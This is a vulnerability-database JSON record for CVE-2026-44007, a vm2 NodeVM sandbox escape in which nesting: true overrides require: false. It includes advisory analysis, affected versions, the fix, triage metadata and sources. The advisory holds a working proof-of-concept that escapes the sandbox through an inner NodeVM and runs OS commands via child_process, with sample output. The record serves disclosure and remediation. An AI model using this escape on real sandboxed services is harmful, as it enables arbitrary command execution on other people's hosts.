{"id":"CVE-2026-44007","kind":"vulnerability","aliases":["CVE-2026-44007","GHSA-8hg8-63c5-gwmx"],"related":[],"title":"vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution","description":"### Summary\n\nWhen a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.\n\n### Details\n\nThe vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.\n\n**`lib/nodevm.js:96-99`** — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:\n\n```js\nconst NESTING_OVERRIDE = Object.freeze({\n  __proto__: null,\n  vm2: vm2NestingLoader\n});\n```\n\n**`lib/nodevm.js:268-269`** — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options:\n\n```js\nconst customResolver = requireOpts instanceof Resolver;\nconst resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(\n  requireOpts,\n  nesting && NESTING_OVERRIDE,  // ← injected when nesting:true\n  this._compiler\n);\n```\n\n**`lib/resolver-compat.js:193-197`** — This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:\n\n```js\nfunction makeResolverFromLegacyOptions(options, override, compiler) {\n  if (!options) {\n    if (!override) return DENY_RESOLVER;  // require:false, no nesting → deny all\n    // BUG: require:false + nesting:true reaches here\n    // override (NESTING_OVERRIDE) is applied, making vm2 available\n    const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);\n    return new Resolver(DEFAULT_FS, [], builtins);  // vm2 is now requireable\n  }\n  // ...\n}\n```\n\n**`lib/builtin.js:102-106`** — `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:\n\n```js\nif (overrides) {\n  const keys = Object.getOwnPropertyNames(overrides);\n  for (const key of keys) {\n    res.set(key, overrides[key]);  // vm2 always injected when nesting:true\n  }\n}\n```\n\nThe result: `require('vm2')` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses — unconstrained by the outer VM — and reaches `child_process`.\n\nThis was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that \"scripts can create a NodeVM which can require any host module,\" but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.\n\n### PoC\n\n**Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).\n\n```js\nconst { NodeVM } = require('vm2');\n\n// Host intends: nesting enabled, but require completely disabled\nconst vm = new NodeVM({ nesting: true, require: false });\n\nconst result = vm.run(`\n  // Step 1: require('vm2') succeeds despite require:false on the outer VM\n  const { NodeVM: NVM } = require('vm2');\n\n  // Step 2: create an inner NodeVM with attacker-chosen require config\n  // This inner VM has no relation to the outer VM's restrictions\n  const inner = new NVM({ require: { builtin: ['child_process'] } });\n\n  // Step 3: execute arbitrary OS command in the inner VM\n  module.exports = inner.run(\n    'module.exports = require(\"child_process\").execSync(\"id\").toString()'\n  );\n`);\n\nconsole.log(result);\n// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...\n```\n\n**Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):**\n```\nuid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)\n```\n\nThe variant with `require: false` also works — the outer VM's require setting has no effect:\n\n```js\nnew NodeVM({ nesting: true, require: false }).run(`\n  const { NodeVM: NVM } = require('vm2');\n  module.exports = new NVM({ require: { builtin: ['child_process'] } })\n    .run('module.exports = require(\"child_process\").execSync(\"id\").toString()');\n`);\n// uid=1000(akshat) ...\n```\n\nNarrow builtin allowlists are also bypassed. `require: { builtin: ['path'] }` still allows `require('vm2')` when nesting is enabled.\n\n### Impact\n\n**Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.\n\n**What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.\n\n**Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not — `require: false` is silently overridden and the sandbox has unrestricted OS access.\n\n**Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.","summary":"In vm2, a NodeVM created with nesting enabled lets sandboxed code require vm2 even when require is set to false, so it can create an inner NodeVM with arbitrary module access. An attacker who can run untrusted code in such a sandbox can execute OS commands as the host process user.","severity":"critical","cvss":9.9,"epss":0.0096,"exploited":false,"exploited_at":null,"products":[{"name":"vm2","fixed":["3.11.1"],"affected":"<= 3.11.0","ecosystem":"npm"},{"name":"vm2 project vm2","fixed":["3.11.1"],"affected":"< 3.11.1","ecosystem":"vendor"}],"ecosystems":["npm","vendor"],"tags":["cwe-1100","cwe-284","cwe-693","multi-tenant","node.js","package","plugins","sandboxing","vm2"],"not_affected_if":["nesting-disabled","no-nodevm","trusted-code-only"],"how_to_check":"- Check the installed vm2 version with `npm ls vm2`; affected versions are `3.11.0` and below.\n- Search the codebase for `nesting: true` passed to `NodeVM`, since the bypass requires it.\n- Confirm whether untrusted or user-supplied code runs inside those NodeVM instances.","fix":"- `vm2` `3.11.1`","status":"open","published_at":"2026-05-07T05:13:21+00:00","first_seen_at":"2026-11-04T03:36:22+00:00","triaged_at":"2026-11-04T03:36:53+00:00","updated_at":"2026-11-04T03:46:40+00:00","category":"package","confidence":0.9,"triage":{"at":"2026-11-04T03:36:53Z","model":"claude-haiku-5-5","output":{"fix":"- `vm2` `3.11.1`","reach":"local","title":"vm2: nesting option lets sandboxed code escape and run OS commands","impact":"high","summary":"In vm2, a NodeVM created with nesting enabled lets sandboxed code require vm2 even when require is set to false, so it can create an inner NodeVM with arbitrary module access. An attacker who can run untrusted code in such a sandbox can execute OS commands as the host process user.","audience":"developers","category":"package","nicknames":[],"who_cares":["vm2","node.js","sandboxing","multi-tenant","plugins"],"confidence":0.9,"fix_status":"available","needs_auth":"no","worst_case":"sandboxed code runs arbitrary OS commands on the host","analyst_note":"Confirm the GHSA-8hg8-63c5-gwmx advisory lists 3.11.1 as the only fixed version and check whether any workaround beyond upgrading is stated.","how_to_check":"- Check the installed vm2 version with `npm ls vm2`; affected versions are `3.11.0` and below.\n- Search the codebase for `nesting: true` passed to `NodeVM`, since the bypass requires it.\n- Confirm whether untrusted or user-supplied code runs inside those NodeVM instances.","plain_action":"","needs_analyst":true,"not_affected_if":["nesting-disabled","trusted-code-only","no-nodevm"],"who_is_affected":"Applications that run untrusted or user-supplied code inside a vm2 NodeVM with nesting set to true are exposed, regardless of require settings. Multi-tenant code execution platforms, notebook services, plugin systems and CI sandboxes that use vm2 are the likely cases. Applications that do not use NodeVM with nesting enabled, or that only run trusted code, are not exposed through this flaw.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.000983,"input_tokens":6447,"output_tokens":676,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-106':340C '-1100':32B '-197':247C '-2026':17A,25A '-269':207C '-284':34B '-44007':18A,26A '-693':36B '-99':180C '1':520C '1000':590C,593C,596C,610C,613C '102':339C '193':246C '2':537C '2022':432C '2023':444C '2353ce60':429C '268':206C '3':569C '4':598C '63c5':22A '8':431C,443C '8dd0591':608C '8hg8':21A '96':179C '9e2':440C 'access':75B,123C 'adm':599C 'akshat':591C,594C,597C,611C,614C 'allow':8A 'allowlist':353C 'alongsid':219C 'also':490C 'alway':371C,380C 'appli':317C 'applic':148C 'apr':442C 'arbitrari':12A,73B,141C,571C 'attack':77B,544C 'attacker-chosen':543C 'avail':320C 'b6051':441C 'block':272C 'branch':252C 'bug':306C 'build':278C 'builtin':186C,322C,333C,347C,393C,565C 'bypass':5A 'child':422C,566C,582C 'choos':414C 'chosen':545C 'code':55B,82B,106C,152C 'command':14A,90B,143C,573C 'commit':428C,439C,607C 'compil':292C 'complet':506C 'compromis':161C 'config':412C,547C 'configur':118C,352C 'confirm':602C 'console.log':587C 'const':197C,226C,231C,321C,357C,362C,496C,508C,516C,531C,560C 'construct':128C 'creat':49B,68B,101C,404C,454C,538C 'customresolv':227C,233C 'cve':16A,24A 'cwe':31B,33B,35B 'default':331C 'defaultrequir':325C 'defeat':471C 'deni':270C,298C,304C 'despit':524C 'detail':162C 'disabl':507C 'document':466C 'earlier':493C 'enabl':52B,503C 'escap':10A 'even':58B 'everyth':273C 'execsync':584C 'execut':15A,88B,140C,570C 'factori':218C 'fals':7A,64B,121C,255C,301C,308C,391C,473C,515C,526C 'falsi':260C 'feb':430C 'fs':332C 'fulli':160C 'function':268C,288C 'ghsa':20A 'ghsa-8hg8-63c5-gwmx':19A 'gid':592C,612C 'group':595C,615C 'gwmx':23A 'host':93B,146C,221C,461C,500C 'id':585C 'includ':119C,282C 'inject':189C,240C,372C 'inner':70B,131C,407C,540C,549C,561C,576C 'inner.run':579C 'insid':153C,382C 'instal':487C 'instanceof':229C 'instead':277C 'intend':501C 'interact':172C,483C 'introduc':426C 'js':196C,225C,287C,354C,495C 'jsdoc':446C 'key':358C,363C,365C,367C,369C 'legaci':175C 'let':53B 'lib/builtin.js':338C 'lib/nodevm.js':178C,205C 'lib/resolver-compat.js':245C 'major':436C 'make':318C 'makebuiltinsfromlegacyopt':323C 'makeresolverfromlegacyopt':235C,289C 'map':187C 'merg':344C 'modul':74B,176C,462C 'module.exports':578C,580C 'multi':38B 'multi-ten':37B 'nest':3A,51B,103C,157C,169C,181C,198C,209C,237C,238C,242C,266C,275C,285C,303C,309C,314C,341C,374C,386C,448C,468C,502C,512C 'new':130C,329C,406C,510C,562C 'node':604C 'node.js':40B,488C 'nodevm':2A,48B,71B,99C,132C,155C,384C,408C,456C,497C,511C,532C,541C 'non':478C 'non-obvi':477C 'null':202C 'nvm':533C,563C 'object.freeze':200C 'object.getownpropertynames':359C 'observ':600C 'obvious':479C 'option':171C,224C,262C,290C,294C 'os':13A,89B,142C,572C 'outer':114C,418C,529C,556C 'output':601C 'overrid':182C,199C,212C,239C,286C,291C,296C,313C,315C,327C,342C,348C,356C,360C,368C 'packag':41B,192C 'part':480C 'pass':214C 'plugin':42B 'poc':484C 'process':94B,423C,567C,583C 'project':29A 'proto':201C 'reach':311C,421C 'refactor':437C 'regardless':111C,388C 'relat':553C 'reproduc':491C 'requir':6A,56B,60B,109C,117C,120C,137C,223C,254C,300C,307C,337C,378C,390C,392C,411C,459C,472C,485C,498C,505C,514C,521C,525C,534C,546C,564C,581C 'requireopt':228C,234C,236C,258C 'res.set':366C 'resolv':177C,217C,230C,232C,271C,280C,299C,330C 'restrict':397C,559C 'result':377C,517C,588C 'return':269C,297C,328C 'run':80B,150C 'sandbox':9A,43B,54B,86B,105C,127C,195C,400C 'script':452C 'set':62B,138C,257C 'silent':470C 'special':185C 'step':519C,536C,568C 'succeed':381C,523C 'summari':96C 'surviv':434C 'tenant':39B 'this._compiler':244C 'tostr':586C 'true':4A,104C,158C,170C,210C,243C,264C,310C,375C,387C,469C,513C 'uid':589C,609C 'uncondit':108C,345C 'unconstrain':415C 'undefin':324C,326C 'unrestrict':136C 'untrust':81B,151C 'user':95B,351C 'user-configur':350C 'v22.22.1':489C,605C 'version':494C 'vm':115C,419C,509C,530C,550C,557C,577C 'vm.run':518C 'vm2':1A,27A,28A,30A,44B,46B,57B,110C,125C,191C,203C,283C,319C,334C,370C,379C,402C,486C,499C,522C,535C,606C 'vm2nestingloader':204C 'vulner':164C,251C 'warn':450C 'whatev':410C 'without':265C","nicknames":[],"mitigations":[],"who_affected":"Applications that run untrusted or user-supplied code inside a vm2 NodeVM with nesting set to true are exposed, regardless of require settings. Multi-tenant code execution platforms, notebook services, plugin systems and CI sandboxes that use vm2 are the likely cases. Applications that do not use NodeVM with nesting enabled, or that only run trusted code, are not exposed through this flaw.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["projectvm2","vm2","vm2projectvm2"],"ptokens":["project","vm2"],"labels":["critical","cwe1100","cwe284","cwe693","multitenant","nodejs","npm","package","plugins","sandboxing","vendor","vm2"],"campaign_type":null,"first_public_at":"2026-05-01T21:29:07+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-8hg8-63c5-gwmx","url":"https://github.com/advisories/GHSA-8hg8-63c5-gwmx","severity":"critical","published_at":"2026-05-07T05:13:21+00:00","modified_at":"2026-11-04T03:32:55+00:00","first_seen_at":"2026-11-04T03:36:22+00:00","fetched_at":"2026-11-04T03:36:22+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-44007","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44007","severity":null,"published_at":"2026-05-13T18:16:17+00:00","modified_at":"2026-10-26T17:10:03+00:00","first_seen_at":"2026-11-04T03:46:40+00:00","fetched_at":"2026-11-04T03:46:40+00:00","note":null}],"documents":[{"id":63620,"url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-8hg8-63c5-gwmx","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":63621,"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-05-01T21:29:07+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":63622,"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.1","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":63623,"url":"https://github.com/patriksimek/vm2/commit/46cbbdde4e19b743974c942278080231004146ca","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":63808,"url":"http://www.openwall.com/lists/oss-security/2026/05/05/11","title":"Third-party advisory: www.openwall.com","kind":"advisory","source":"nvd","publisher":"research","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Third-party advisory: www.openwall.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}